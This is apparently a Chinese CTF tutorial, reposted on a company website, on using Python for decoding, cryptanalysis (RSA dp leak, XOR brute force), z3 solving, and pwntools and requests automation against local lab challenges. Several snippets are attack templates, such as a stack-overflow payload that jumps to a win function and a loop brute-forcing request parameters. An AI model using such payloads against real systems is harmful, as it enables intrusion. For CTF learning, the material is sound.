资讯动态

CTF实战指南:用Python高效完成解析、破解与自动化脚本

发布时间:2026/10/17 6:08:04 来源:尧图企业网站定制
1. CTF里Python到底在忙什么五大方向的工具清单CTF比赛里有个很有意思的现象不管你主攻的是密码学、逆向、Web、Pwn还是杂项最后手里都得攥着Python。它不是最炫的武器却是最万能的工具——有的题靠它算大数分解有的题靠它拼字节流有的题干脆就是靠它把人和程序之间的对话自动化。今天这篇我就围绕自己在CTF里最常用的Python实战场景把解析、破解和自动化脚本这三块怎么打、有什么坑、怎么写效率最高一次讲透。适合刚入门CTF但脚本能力比较薄弱的同学也适合那些思路有但代码写不顺的老手照着这份思路可以快速搭建自己的解题工具箱。1.1 五大方向的角色定位先搞清楚Python在每个方向里到底承担什么职责。很多新手有个误区以为CTF拼的是对漏洞原理的背诵其实到了赛场上真正的瓶颈往往是把一个已经想清楚的思路转化成代码的速度。Python的价值就是把这个转化过程压到最短。方向Python的主要工作典型场景密码学 Crypto大整数运算、模逆、分解、约束推导RSA参数恢复、AES/Padding Oracle、格密码逆向 Reverse静态分析辅助、解析文件结构、脚本化处理字节码脱壳、还原算法、Android smali分析Web批量请求、参数构造、正则提取、自动打接口SQL注入判断、目录扫描、验证码识别联动Pwn交互与payload构造栈溢出、格式化字符串、堆利用辅助Misc 杂项数据解析、隐写提取、流量重组图片LSB、压缩包爆破、PCAP分析这样列出来你就能发现一个规律除了Pwn方向有pwntools这种专武之外其他方向Python干的活其实都很朴素——读数据、算数据、发数据。但恰恰是这几件事用手工做能累死人用脚本做就是秒级完成。1.2 环境初始化与常用库安装个人强推把CTF环境单独隔离出来别跟日常开发环境搅在一起。因为pwntools、z3这些库的版本变化比较大今天升级明天可能就不兼容污染到工作项目里太难受了。python3 -m venv ctf_env source ctf_env/bin/activate pip install --upgrade pip pip install pwntools pycryptodome z3-solver requests scapy装完跑一句验证python -c from pwn import *; print(pwntools ok) python -c from Crypto.Util.number import inverse; print(crypto ok) python -c from z3 import *; print(z3 ok)这几个库基本覆盖了CTF 90%的脚本需求。scapy不是每场都用但碰到流量包题目时非常好使。gmpy2在某些大数运算场景比原生pow快很多密码学刷得多的话建议也装上。提示如果你用的是Windowspwntools的原生支持一直很别扭哪怕装了也容易在终端处理上报错。最省心的方案是装一个Linux虚拟机或者用Docker开一个固定的CTF镜像把库一次性装好之后所有比赛都在里面跑。我在练习阶段吃过这个亏当时在本机折腾半天后来直接切到Linux环境十分钟全部搞定。1.3 为什么是Python而不是别的有人会问Rust性能好Go并发强为什么CTF圈偏偏集体用Python答案其实是效率。CTF比赛的时间是按小时算的你花三分钟写完一个爆破脚本和花三十分钟写一个性能更优的编译型程序显然后者在这场比赛里是亏的。Python的交互式特性让验证想法变得极其轻量我有大量脚本其实就是在ipython里一行一行敲出来的先试一个变量再试一个函数确认没问题之后才整理成.py文件。另一个原因是生态。RSA里要用的pow(c, d, n)Python原生支持大整数一句搞定z3约束求解器、pwntools的ROP自动搜索、scapy的协议解析这些都是CTF社区多年沉淀下来的直接可用的轮子。你不需要自己去实现复杂逻辑组合这些库就够了。2. 解析类题目的实战套路先学会读懂字节再说CTF里大量题目本质上是数据藏匿游戏flag被藏在某个文件里、某段字符串里、某个网络流量里。这时候Python承担的角色就是字节级解析器你要么从编码里把明文剥出来要么从文件结构里把附加数据挖出来。2.1 拿到一串神秘字符串先做这三步探测杂项和密码学题目里最常见的开局是题目甩给你一串字符让你想办法解码。新手最容易犯的错就是人肉盯着字符串猜——看到一串大写字母和小写字母混排就以为是base64看到666c6167开头的就以为是某种奇怪的密文。实际上解析这种题是有固定套路的写成脚本批量试探比人肉判断快得多。import base64 import binascii s 一段题目给的字符串 # 第一步看是不是hex try: data bytes.fromhex(s) print([HEX], repr(data)) except ValueError: pass # 第二步看是不是base64 try: data base64.b64decode(s) if all(32 b 126 or b in (9, 10, 13) for b in data): print([B64], data.decode()) except Exception: pass # 第三步单字节异或试探后面破解章节会展开这套三板斧逻辑很简单先转hex还原显式编码再尝试base64标准解码最后检查输出是否是可打印字符。关键点在于不要一次性把所有解码方式都堆上去而是按先无损、再有损的顺序来这样定位问题会容易很多。2.2 文件结构与隐写数据的字节级解析除了字符串文件类题目也是解析的重灾区。最常见的模式是题目给一张图片看起来完全正常但文件尾部藏着另一段数据。很多纯手工选手会用十六进制编辑器慢慢翻但数据一多、文件一多手工就不现实了。PNG文件的结构是固定的8字节文件头然后是一系列的块chunk每个块由长度、类型、数据、CRC组成。正常图片以IEND块结束如果flag被附加在文件末尾它一定会在IEND之后出现。with open(pic.png, rb) as f: data f.read() iend data.find(bIEND) # IEND块本身占12字节4长度4类型4CRC所以真正的尾部从iend12开始 tail data[iend12:] print([TAIL LENGTH], len(tail)) print([TAIL], repr(tail[:500]))跑完这段尾部藏的东西基本上就现出原形了。如果尾部是base64字符串直接拿去解码如果尾部是另一个文件头比如PK开头说明是个zip那就把数据切片保存下来再处理。这个思路可以延伸成批量检查脚本。某次线上赛出现过图片轮发的形式几百张图里只有一张藏了东西人肉翻会瞎。我当时写了个循环遍历所有文件提取每个文件的尾部数据看有没有可打印字符串直接把可疑文件筛了出来前后不到五分钟。2.3 解析脚本调试先验证小样本再全量跑解析类脚本的调试有个老生常谈的问题数据太多、输出太杂。我的习惯是先在一小段数据上验证逻辑再放开跑全量。比如你怀疑base64解码后是个压缩包先只解一段看输出是不是PK开头确认了再整个解。不要一上来就全量print终端刷几万行之后你根本找不到重点。调试时还有个小技巧用repr()代替直接print。Python打印bytes时会对不可见字符做转义但repr()能让你清楚看到换行符、空字节这些细节。很多时候你以为脚本解错了实际上数据是对的只是输出到终端时被换行符和乱码干扰了判断。先冷静看一眼repr()的输出再下结论。3. 破解类题目的核心打法参数泄漏、异或与约束求解解析解决的是数据藏在哪的问题破解解决的是数据经过什么变换的问题。这一类题目的共同点是给你一部分信息让你推导出完整的明文或密钥Python在这里扮演计算器和推导助手的角色。3.1 RSA经典参数泄漏dp泄漏恢复pRSA是CTF密码学里出镜率最高的考点不是因为RSA本身难而是因为题目总是会在参数生成时埋点小错误。最经典的一种是dp泄漏——dp d mod (p-1)被直接给了出来而n、e、c也都给你了。推导过程不复杂因为e * dp ≡ 1 mod (p-1)所以存在一个整数k使得e * dp - 1 k * (p-1)。k的范围是1 k ee通常就是65537枚举k很快就能找到一个让n % p 0的候选值这时候p就被恢复了。from Crypto.Util.number import inverse, long_to_bytes n 0x... e 65537 c 0x... dp 0x... for k in range(1, e): if (e * dp - 1) % k ! 0: continue p (e * dp - 1) // k 1 if n % p 0: q n // p phi (p - 1) * (q - 1) d inverse(e, phi) m pow(c, d, n) print(long_to_bytes(m)) break拿到flag之后你会觉得这个脚本简单得不像话但第一次接触时最难的是想清楚为什么要枚举k以及k的范围为什么是1到e。多写几遍RSA相关的套路就能形成自己的工具箱了。类似的还有低加密指数、共模攻击、Wiener攻击等等每个都是已知什么、枚举什么、推出什么的固定模板把模板存成脚本就能复用。3.2 单字节异或穷举密钥快速定位异或在CTF里太常用了因为它作为加密算法极其简单又经常被用来做混淆。单字节异或的意思是明文的每个字节都和同一个密钥字节做异或生成密文。破解思路也直白——密钥只有256种可能挨个试一遍看看输出里有没有flag特征或者可读英文。data bytes.fromhex(密文hex) for key in range(256): out bytes([b ^ key for b in data]) if bflag in out.lower() or bFLAG in out: print(fKEY{key} (0x{key:02x})) print(out) break这里有一个工程细节如果密文比较长先只取前32个字节来跑穷举速度快得多确认命中了再把整个密文丢进去。写脚本的时候习惯性地加个切片能省下不少无谓等待。多字节异或的破解稍微复杂一点常见方法是先猜测密钥长度再对每个分组分别做单字节异或分析。原理不复杂关键是不管哪种异或题第一步永远是把目标输出特征想清楚——你是要找flag关键字还是要找英文的高频字符这个决定了脚本怎么写。3.3 逆向条件用z3约束求解有相当一部分逆向题你其实不需要完整读懂程序的汇编逻辑。程序里往往是一堆条件判断比如flag的第5个字符加第9个字符等于多少第2个字符必须是某个字母所有字符的ASCII和等于某个值——这些条件组合起来就是一个约束系统。手动逆向这些条件费时费力但z3就是干这个的。from z3 import * # 假设flag长度为20全是可打印字符 flag [BitVec(fflag_{i}, 8) for i in range(20)] s Solver() for i in range(20): s.add(flag[i] 32, flag[i] 126) # 从逆向分析中提取的条件 s.add(flag[0] ord(f)) s.add(flag[1] ord(l)) s.add(flag[2] ord(a)) s.add(flag[3] ord(g)) s.add(flag[0] flag[19] 210) s.add(flag[4] ^ flag[10] 42) s.add(flag[6] * 3 - flag[2] 250) if s.check() sat: m s.model() ans bytes([m[flag[i]].as_long() for i in range(20)]) print(ans) else: print(unsat)这个例子的核心价值在于你不需要知道为什么这些条件成立只需要把逆向过程中看到的约束原样抄进脚本里让求解器去算。我用z3解决过好几道原本可能卡半个小时的逆向题尤其是那种逻辑分支多但条件清晰的白盒题目效果出奇地好。注意z3里的BitVec是比特向量字节运算要注意溢出问题比如flag[i] * 3可能超过255如果原始逻辑是在一个字节里溢出后再比较脚本里也要用Extract或者掩码模拟这个溢出行为否则算出来的结果对不上。4. 自动化脚本编写把手工操作全部交给Python如果说解析和破解是CTF的内功自动化脚本就是外功。一场比赛里你会反复遇到同一个需求跟程序对话、批量提交、处理大量重复数据。手工做又慢又容易出错脚本化才是正解。4.1 pwntools解决交互类题目的标准模板Pwn题的考点是最依赖交互脚本的因为程序通常运行在一个远程环境里你需要通过标准输入输出跟它打交道。pwntools把这件事封装得极其顺手新手先背熟这个模板就行from pwn import * context.log_level info context.arch amd64 # 本地调试用process打远程时换成remote sh process(./pwn1) # sh remote(127.0.0.1, 10001) sh.recvuntil(bInput:) payload bA * 32 p64(0x40123a) sh.sendline(payload) sh.interactive()recvuntil是等一个指定字符串出现sendline是发送一行自动补换行符interactive把控制权还给选手方便手工操作。这套模型覆盖了绝大多数Pwn题的交互需求。还有一类不需要漏洞利用但非常吃脚本的题程序让你做一百次数学题做完才给flag。这种纯属考自动化能力pwntools依旧好使from pwn import * r remote(127.0.0.1, 10001) r.recvuntil(bsolve this many: ) times int(r.recvline().strip()) for i in range(times): line r.recvuntil(b, dropTrue) expr line.decode().strip() a, op, b expr.split() a, b int(a), int(b) if op : ans a b elif op -: ans a - b elif op *: ans a * b r.sendline(str(ans).encode()) r.interactive()这个脚本的价值不在具体题目而在于它展示了一个通用范式读提示、解析数据、算答案、发结果、循环执行。凡是固定的问答流程都可以套这个模板。唯一需要灵活处理的是每次recvuntil的边界条件比如这里用dropTrue把等号去掉只留表达式本身。4.2 Web方向requests批量请求与会话保持Web题里大量场景需要批量发请求比如某个页面的参数要从1遍历到10000比如登录后要在多个接口里反复探测。requests库加上Session对象是标配因为Session会自动携带cookie模拟登录后的状态。import requests import re s requests.Session() url http://127.0.0.1:8080/check for i in range(1, 1000): resp s.post(url, data{id: str(i)}) if flag in resp.text: print(fFOUND: {i}) print(resp.text) break if i % 100 0: print(f[*] tested {i})写这种批量请求脚本时有几个细节经常被忽略。一是要设置超时requests.post(url, timeout5)否则某个请求卡住整个脚本就僵在那里。二是要控制频率尤其是在本地靶场环境快速连续请求可能把题目服务打崩也可以在代码里加一个time.sleep(0.05)或者time.sleep(0.1)。4.3 工程化配置超时、重试、结果落盘比赛中的网络环境再稳也架不住脚本跑半小时、中途断一下。所以稍微正式一点的自动化脚本我一定会加三层保险超时、重试、结果落盘。import time import requests def fetch_with_retry(url, times3): for i in range(times): try: resp requests.get(url, timeout5) if resp.status_code 200: return resp except requests.exceptions.RequestException as e: print(f[!] attempt {i1} failed: {e}) time.sleep(1) return None result fetch_with_retry(http://127.0.0.1:8080/)超时防止程序无限卡住重试应对网络抖动把抓到的中间结果写入文件。特别是批量爆破那种要跑很久的脚本我会在循环里定期把当前进度和已找到的结果追加写到一个日志文件里这样即使脚本中途挂了也不用从头再跑。很多人不在意这个真到了比赛尾声网络不稳的时候就知道这个习惯有多救命。5. CTF脚本调试实录高频坑位排查与完整写作流程最后这部分是我最想分享的。因为真正阻挡新手写出顺手脚本的往往不是算法思路而是一堆看起来很蠢的报错。我把自己踩过的高频坑整理成速查表希望你能跳过这些弯路。5.1 Python3的bytes与str混用坑这是Python3选手最常见的翻车点。Python2时代字符串和字节不分家Python3严格区分str和bytes。你从文件读出来的是bytes用input()拿到的是str两者相加直接报TypeError。症状原因解法TypeError: cant concat str to bytesstr和bytes混拼统一转bytes用bflag或.encode()UnicodeDecodeError解码二进制字符串失败用bytes操作不要随意.decode()终端输出乱码直接print二进制数据用repr()查看或先判断是否可打印我自己处理这类问题时的原则是凡是跟网络、文件、加密有关的操作一律用bytes只有到了最后输出flag给人看时才decode。这个原则能规避掉大部分编码异常。5.2 交互脚本卡死与recv异常排查脚本执行到recvuntil就停住不动这大概是最让人抓狂的bug。排查思路按顺序来先确认服务端到底发了什么。用pwntools调试时把context.log_level设为debug发送和接收的数据全会打印出来一目了然。常见原因有三个。一是你等的字符串不存在recvuntil永远等不到目标。二是服务端在等你的换行符但send没带\n对面一直阻塞这种用sendline就解决了。三是你的解析逻辑把数据提前吃掉了比如先用了recvline后面再recvuntil时数据已经被消费完。记住pwntools的数据缓冲机制一旦从缓冲区读走那些字节就没了后续的接收函数看不到它们。5.3 库版本与导入方式的兼容问题CTF脚本里有个经典万年坑Crypto包的导入问题。老项目用pycrypto新环境装的是pycryptodome两者导入名都是Crypto但接口有一些差异。如果你发现from Crypto.Util.number import inverse报错先确认自己装的是哪个包建议统一用pycryptodome。pip uninstall pycrypto pycryptodome pip install pycryptodome另一个是gmpy2库在部分环境里安装很费劲但Crypto.Util.number里其实也有inverse和GCD大部分RSA题够用了。我的建议是依赖能少则少能用pwntools和pycryptodome解决的问题就不要额外引入新库减少环境不一致带来的麻烦。5.4 一条完整的实战脚本写作流程最后用一个标准流程把前面所有内容串起来。假设你拿到一道本地二进制题需要构造输入触发某个函数然后获得flag。正确流程不是上来就写脚本而是第一步本地运行程序手工输入看行为第二步用checksec或readelf看保护第三步定位目标函数地址第四步写一个最简单的payload在本地跑通第五步把process换成remote打远程。from pwn import * context.log_level info context.arch amd64 elf ELF(./pwn1) win_addr elf.sym[win] payload bA * 32 p64(win_addr) sh process(./pwn1) sh.recvuntil(bInput:) sh.sendline(payload) print(sh.recvall(timeout3))看到没有整个脚本不到10行。真正花时间的可能是前面的逆向分析而不是写这个传输脚本。这也是我想强调的Python在CTF里的作用永远是加速而不是替代你的分析思路才是最核心的东西脚本只是把思路变成现实的最后一步。把这个流程理顺了你在赛场上写脚本就不会再慌乱。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑